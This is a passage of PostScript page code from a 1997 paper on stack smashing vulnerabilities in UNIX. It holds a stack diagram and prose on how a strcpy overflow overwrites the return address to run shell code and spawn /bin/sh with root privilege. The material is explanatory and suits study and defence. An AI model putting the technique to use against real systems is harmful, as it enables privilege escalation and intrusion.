rr : 0.400 0.400 0.400 sco O ; 2768 2734 N M 1402 8 rr : 0.408 0.408 0.408 sco O ; 2768 2742 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 2768 2746 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 2768 2752 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 2768 2758 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 2768 2764 N M 1402 6 rr : 0.447 0.447 0.447 sco O ; 2768 2770 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 2768 2776 N M 1402 6 rr : 0.463 0.463 0.463 sco O ; 2768 2782 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 2768 2788 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 2768 2794 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 2768 2800 N M 1402 6 rr : 0.494 0.494 0.494 sco O ; 2768 2806 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 2768 2812 N M 1402 6 rr : 0.510 0.510 0.510 sco O ; 2768 2818 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 2768 2824 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 2768 2828 N M 1402 8 rr : 0.533 0.533 0.533 sco O ; 2768 2836 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 2768 2842 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 2768 2846 N M 1402 8 rr : 0.557 0.557 0.557 sco O ; 2768 2854 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 2768 2858 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 2768 2864 N M 1402 6 rr : 0.580 0.580 0.580 sco O ; 2768 2870 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 2768 2876 N M 1402 6 rr : 0.596 0.596 0.596 sco O ; 2768 2882 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 2768 2888 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 2768 2894 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 2768 2900 N M 1402 6 rr : 0.627 0.627 0.627 sco O ; 2768 2906 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 2768 2912 N M 1402 6 rr : 0.643 0.643 0.643 sco O ; 2768 2918 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 2768 2924 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 2768 2930 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 2768 2936 N M 1402 4 rr : 0.675 0.675 0.675 sco O ; 2768 2940 N M 1402 8 rr : 0.682 0.682 0.682 sco O ; 2768 2948 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 2768 2952 N M 1402 56 rr : 0.698 0.698 0.698 sco O ; 2772 2620 N M 1398 386 rr 0 Lc 0 Lj 0 0 0 sco K : 3312 2868 408 96 rc 0 0 0 sco F8_84 Ji 3312 2872 M (u)S -0.676 0 (s)A 0.704 0 (e)A 1.676 0 32 -0.676 0 (r s)D 0.648 0 (t)A (a)S 0.704 0 (ck)A ; 2768 3008 N M 1404 0 - 1 Lc 1 Lj 0 0 0 sco K 2768 4212 N M 1402 50 rr : 0.698 0.698 0.698 sco O ; 2768 4262 N M 1402 6 rr : 0.698 0.698 0.698 sco O ; 2768 4268 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 2768 4272 N M 1402 6 rr : 0.682 0.682 0.682 sco O ; 2768 4278 N M 1402 6 rr : 0.675 0.675 0.675 sco O ; 2768 4284 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 2768 4288 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 2768 4294 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 2768 4300 N M 1402 4 rr : 0.643 0.643 0.643 sco O ; 2768 4304 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 2768 4310 N M 1402 4 rr : 0.627 0.627 0.627 sco O ; 2768 4314 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 2768 4320 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 2768 4326 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 2768 4332 N M 1402 4 rr : 0.596 0.596 0.596 sco O ; 2768 4336 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 2768 4342 N M 1402 4 rr : 0.580 0.580 0.580 sco O ; 2768 4346 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 2768 4352 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 2768 4356 N M 1402 6 rr : 0.557 0.557 0.557 sco O ; 2768 4362 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 2768 4368 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 2768 4374 N M 1402 4 rr : 0.533 0.533 0.533 sco O ; 2768 4378 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 2768 4384 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 2768 4390 N M 1402 4 rr : 0.510 0.510 0.510 sco O ; 2768 4394 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 2768 4400 N M 1402 4 rr : 0.494 0.494 0.494 sco O ; 2768 4404 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 2768 4410 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 2768 4416 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 2768 4422 N M 1402 4 rr : 0.463 0.463 0.463 sco O ; 2768 4426 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 2768 4432 N M 1402 4 rr : 0.447 0.447 0.447 sco O ; 2768 4436 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 2768 4442 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 2768 4446 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 2768 4452 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 2768 4458 N M 1402 6 rr : 0.408 0.408 0.408 sco O ; 2768 4464 N M 1402 4 rr : 0.400 0.400 0.400 sco O ; 2768 4468 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 2768 4474 N M 1402 6 rr : 0.384 0.384 0.384 sco O ; 2768 4480 N M 1402 4 rr : 0.376 0.376 0.376 sco O ; 2768 4484 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 2768 4490 N M 1402 4 rr : 0.361 0.361 0.361 sco O ; 2768 4494 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 2768 4500 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 2768 4506 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 2768 4512 N M 1402 4 rr : 0.329 0.329 0.329 sco O ; 2768 4516 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 2768 4522 N M 1402 4 rr : 0.314 0.314 0.314 sco O ; 2768 4526 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 2768 4532 N M 1402 6 rr : 0.298 0.298 0.298 sco O ; 2768 4536 N M 1402 6 rr : 0.290 0.290 0.290 sco O ; 2768 4542 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 2768 4548 N M 1402 6 rr : 0.275 0.275 0.275 sco O ; 2768 4554 N M 1402 4 rr : 0.267 0.267 0.267 sco O ; 2768 4558 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 2772 4216 N M 1398 346 rr 0 Lc 0 Lj 0 0 0 sco K 2768 4368 N M 1404 0 - 26 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2768 4214 N M 1404 0 - 6 Lw solid 0 0 0 sco K : 3394 4230 234 96 rc 0 0 0 sco F8_84 Ji 3394 4234 M (h)S 0.704 0 (e)A (ap)S ; : 3402 2668 208 94 rc 0 0 0 sco F2_84 Ji 3402 2672 M 0.704 0 (a)A 2.028 0 (r)A (g)S -1.296 0 (c)A ; 2768 2812 N M 1404 0 - 26 Lw solid 0 0 0 sco K : 3420 4430 182 96 rc 0 0 0 sco F2_84 Ji 3420 4434 M -2.000 0 (b)A -0.676 0 (ss)A ; : 511 2604 3780 2205 rc 2768 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 4170 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 2768 2618 N M 1404 0 - 12 Lw solid 0 0 0 sco K ; 2768 4564 N M 1404 0 - 12 Lw solid 0 0 0 sco K : 3236 3880 552 102 rc 0 0 0 sco F4_84 Ji 3236 3880 M -0.400 0 (buffer[16])A ; 2924 4058 N M 0 -940 - 6 Lw solid 0 0 0 sco K 2946 3132 N M -22 -6 - -20 6 - 20 -48 - 22 48 - C : 0 0 0 sco O ; 2768 3746 N M 1404 0 - 0 0 0 sco K : 3010 3264 396 90 rc 0 0 0 sco (F4_66) cvn F4 66 xF F4_66 Ji 3010 3264 M 0.400 0 (strcpy\(\))A ; : 3370 3258 770 96 rc 0 0 0 sco F2_84 Ji 3370 3262 M 0.704 0 (a)A 0.648 0 (tt)A -1.296 0 (e)A 0.648 0 (m)A (p)S 0.648 0 (t)A 1.676 0 32 -0.676 0 (s )D 0.648 0 (t)A 3.000 0 32 -2.000 0 (o )D -2.648 0 (w)A 2.028 0 (r)A 0.648 0 (it)A 2.296 0 32 -1.296 0 (e )D (256)S ; : 3010 3352 1040 96 rc 0 0 0 sco F2_84 Ji 3010 3356 M -2.000 0 (b)A -4.000 0 (y)A 0.648 0 (t)A -1.296 0 (e)A 1.676 0 32 -0.676 0 (s )D 0.648 0 (i)A 2.000 0 (n)A 0.648 0 (t)A 3.000 0 32 -2.000 0 (o b)D (u)S -1.972 0 (ff)A -1.296 0 (e)A 2.028 0 (r)A 1.000 0 (, )A -2.000 0 (ov)A -1.296 0 (e)A 2.028 0 (r)A -2.648 0 (w)A 2.028 0 (r)A 0.648 0 (iti)A 2.000 0 (n)A (g)S ; : 3010 3450 396 90 rc 0 0 0 sco F4_66 Ji 3010 3450 M 0.400 0 (sfp, ret)A ; : 3322 3444 228 96 rc 0 0 0 sco F2_84 Ji 3322 3448 M 1.000 0 32 ( )W 0.704 0 (a)A 2.000 0 (n)A (d)S ; : 3474 3450 220 90 rc 0 0 0 sco F4_66 Ji 3474 3450 M 0.400 0 (*str)A ; : 3630 3444 102 102 rc 0 0 0 sco F4_84 Ji 3630 3444 M -0.400 0 (.)A ; : 960 4620 846 96 rc 0 0 0 sco F2_84 Ji 960 4624 M -2.000 0 (b)A -1.296 0 (e)A -1.972 0 (f)A -2.000 0 (o)A 2.028 0 (r)A 2.296 0 32 -1.296 0 (e )D ; : 960 4620 846 96 rc 0 0 0 sco F4_84 Ji 1190 4634 M -0.400 0 (strcpy\(\))A ; : 960 4620 846 96 rc 0 0 0 sco F2_84 Ji 1590 4624 M 1.000 0 32 ( )W 0.648 0 (i)A -0.676 0 (s)A ; : 960 4620 846 96 rc 0 0 0 sco F2_84 Ji 960 4728 M -1.296 0 (c)A 0.704 0 (a)A 0.648 0 (ll)A -1.296 0 (e)A (d)S ; : 3130 4620 782 96 rc 0 0 0 sco F2_84 Ji 3130 4624 M 0.704 0 (a)A -1.972 0 (f)A 0.648 0 (t)A -1.296 0 (e)A -1.028 0 32 2.028 0 (r )D ; : 3130 4620 782 96 rc 0 0 0 sco F4_84 Ji 3306 4634 M -0.400 0 (strcpy\(\))A ; : 3130 4620 782 96 rc 0 0 0 sco F2_84 Ji 3706 4624 M 1.000 0 32 ( )W 0.648 0 (i)A -0.676 0 (s)A ; : 3130 4620 782 96 rc 0 0 0 sco F2_84 Ji 3130 4728 M -1.296 0 (c)A 0.704 0 (a)A 0.648 0 (ll)A -1.296 0 (e)A (d)S ; 586 2604 N M 6 6 rr : 0 0 0 sco O ; 586 2604 N M 6 6 rr : 0 0 0 sco O ; 592 2604 N M 3618 6 rr : 0 0 0 sco O ; 4210 2604 N M 6 6 rr : 0 0 0 sco O ; 4210 2604 N M 6 6 rr : 0 0 0 sco O ; 586 4803 N M 6 6 rr : 0 0 0 sco O ; 586 4803 N M 6 6 rr : 0 0 0 sco O ; 592 4803 N M 3618 6 rr : 0 0 0 sco O ; 4210 4803 N M 6 6 rr : 0 0 0 sco O ; 4210 4803 N M 6 6 rr : 0 0 0 sco O ; 586 2610 N M 6 2193 rr : 0 0 0 sco O ; 4210 2610 N M 6 2193 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 16 ]%%) = %%PageTrailer %%Page: 17 17 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (17)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 504 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 5.400 0 32 -0.400 0 (e )D (8.)S 5.400 0 32 -0.400 0 (a )D 0.200 0 (ill)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D (ho)S 5.200 0 32 -0.200 0 (w )D (on)S 5.400 0 32 -0.400 0 (e ca)D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2330 504 M 5.000 0 32 (n )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 5.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 6.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 5.900 0 32 0.100 0 (ss )D (o)S 6.300 0 32 -0.300 0 (f )D 6.400 0 32 -0.400 0 (a )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 6.400 0 32 -0.400 0 (c )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M (b)S -0.400 0 (a)A 0.100 0 (s)A -0.400 0 (e)A (d on )S 0.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (i)A (n)S -1.000 0 (g)A 0.200 0 (l)A 0.400 0 32 -0.400 0 (e )D (b)S -3.000 0 (y)A 0.200 0 (t)A 0.400 0 32 -0.400 0 (e c)D (op)S 4.000 0 32 -3.000 0 (y )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 1.000 0 32 (. )W -0.600 0 (F)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 1.000 0 32 (on )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 1.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.900 0 32 0.100 0 (ss )D 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on )W 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 0.800 0 32 0.200 0 (l i)D 1.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 5.000 0 32 -3.000 0 (y )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A 2.000 0 32 (nd )W 0.200 0 (i)A 1.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (ea)A (n)S 1.900 0 32 0.100 0 (s )D (b)S 5.000 0 32 -3.000 0 (y )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 2.000 0 32 (h )W -0.400 0 (a)A 1.800 0 32 0.200 0 (ll )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 2.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M 0.200 0 (i)A 24.000 0 32 (n )W 0.200 0 (t)A (h)S 24.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 24.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 23.800 0 32 0.200 0 (t )D -0.200 0 (UN)A -2.300 0 (I)A 24.200 0 32 -0.200 0 (X )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (a)A 24.000 0 32 (. )W -0.700 0 (B)A 27.000 0 32 -3.000 0 (y )D 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 25.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 24.900 0 32 0.100 0 (ss )D -0.200 0 (w)A 0.200 0 (it)A 25.000 0 32 (h )W 25.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 25.400 0 32 -0.400 0 (c )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M -0.400 0 (c)A (on)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (h)S -0.400 0 (e)A 3.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S -0.400 0 (e)A 4.000 0 32 (, )W 3.800 0 32 0.200 0 (it i)D 3.900 0 32 0.100 0 (s )D (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A (n)S 0.100 0 (s)A -0.300 0 (f)A (o)S -0.300 0 (r)A 3.800 0 32 0.200 0 (m )D -0.400 0 (a)A 4.000 0 32 (n unbound)W -0.400 0 (e)A 4.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (c)A (op)S 7.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.200 0 (t)A 4.000 0 32 (o )W -0.400 0 (a)A 4.000 0 32 (n )W 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.129 0 (which can execute arbitrary code on the execution stack.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 1715 M 0.092 0 (9. Shell Code)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1949 M -0.200 0 (A)A 16.900 0 32 0.100 0 (s s)D (ho)S -0.200 0 (w)A 17.000 0 32 (n )W 0.200 0 (i)A 17.000 0 32 (n )W 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1516 1949 M (h)S 17.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 16.900 0 32 0.100 0 (s s)D -0.400 0 (ec)A 0.200 0 (ti)A 17.000 0 32 (on, b)W 21.000 0 32 -3.000 0 (y )D 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 19.000 0 32 -1.000 0 (g )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 21.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (d v)W -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2126 M -0.200 0 (w)A 0.200 0 (it)A 11.000 0 32 (h unbound)W -0.400 0 (e)A 12.000 0 32 (d b)W -3.000 0 (y)A 0.200 0 (t)A 12.400 0 32 -0.400 0 (e c)D (op)S 15.000 0 32 -3.000 0 (y )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 0.100 0 (s)A 12.000 0 32 (, )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 12.000 0 32 (on o)W 12.300 0 32 -0.300 0 (f )D -0.400 0 (a)A -0.300 0 (r)A (b)S 0.200 0 (it)A -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 15.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (od)S 12.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 11.900 0 32 0.100 0 (s )D (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 12.400 0 32 -0.400 0 (e )D (v)S 0.200 0 (i)A 12.400 0 32 -0.400 0 (a )D 0.200 0 (t)A (h)S 12.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2303 M -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 16.900 0 32 0.100 0 (ss )D (b)S 0.200 0 (li)A (nd)S 0.200 0 (l)A 20.000 0 32 -3.000 0 (y )D -0.300 0 (\221r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (e)A (d)S 17.300 0 32 -0.300 0 (\222 f)D (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 18.000 0 32 -1.000 0 (g )D 17.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 17.000 0 32 (on )W -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (it)A 18.000 0 32 (. )W -0.100 0 (T)A (h)S 18.400 0 32 -0.400 0 (e a)D (b)S 0.200 0 (ilit)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (t)A 18.000 0 32 (o )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A 18.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A (b)S 0.200 0 (it)A -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 21.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (od)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2480 M 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 10.900 0 32 0.100 0 (s )D -0.400 0 (a)A 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (up)S -0.400 0 (e)A -0.300 0 (r)A (u)S 0.100 0 (s)A -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 11.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 12.000 0 32 (n u)W 0.100 0 (s)A -0.400 0 (e)A 12.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 12.000 0 32 (h )W -0.400 0 (ca)A 0.200 0 (ll)A 11.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 11.800 0 32 0.200 0 (t )D -0.200 0 (w)A 11.800 0 32 0.200 0 (ill )D -0.400 0 (a)A 0.200 0 (ll)A (o)S 12.200 0 32 -0.200 0 (w )D -0.400 0 (a)A 12.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (ac)A (k)S -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 12.000 0 32 (o )W -0.400 0 (c)A (on)S 0.200 0 (ti)A (nu)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2657 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A (n)S 30.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (nd)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S 0.200 0 (it)A 29.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (mm)A -0.400 0 (a)A (nd)S 28.900 0 32 0.100 0 (s )D -0.400 0 (a)A 28.900 0 32 0.100 0 (s )D -0.300 0 (r)A (oo)S 0.200 0 (t)A 29.000 0 32 (. )W -0.100 0 (T)A 29.000 0 32 (o ob)W 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 29.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (a)A 1.000 0 (x)A 0.200 0 (im)A (u)S 28.800 0 32 0.200 0 (m )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 3285 2657 M 0.100 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3452 2657 M 29.000 0 32 ( )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 29.800 0 32 0.200 0 (m )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 30.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 17.400 0 32 -0.400 0 (e )D (bou)S -0.300 0 (r)A (n)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 16.800 0 32 0.200 0 (ll )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 17.800 0 32 0.200 0 (m i)D 17.900 0 32 0.100 0 (s s)D (p)S -0.400 0 (a)A -0.200 0 (w)A (n)S -0.400 0 (e)A 18.000 0 32 (d, )W ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F8) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F8_100) cvn F8 100 xF F8_100 Ji 2532 2844 M (/bin/sh)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2952 2834 M 18.000 0 32 (. )W -0.100 0 (T)A (h)S 18.400 0 32 -0.400 0 (e )D (bou)S -0.300 0 (r)A (n)S 18.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 17.800 0 32 0.200 0 (ll i)D 17.900 0 32 0.100 0 (s )D 18.400 0 32 -0.400 0 (a )D 0.100 0 (s)A (h)S -0.400 0 (e)A 17.800 0 32 0.200 0 (ll t)D (h)S -0.400 0 (a)A 0.200 0 (t)A ; 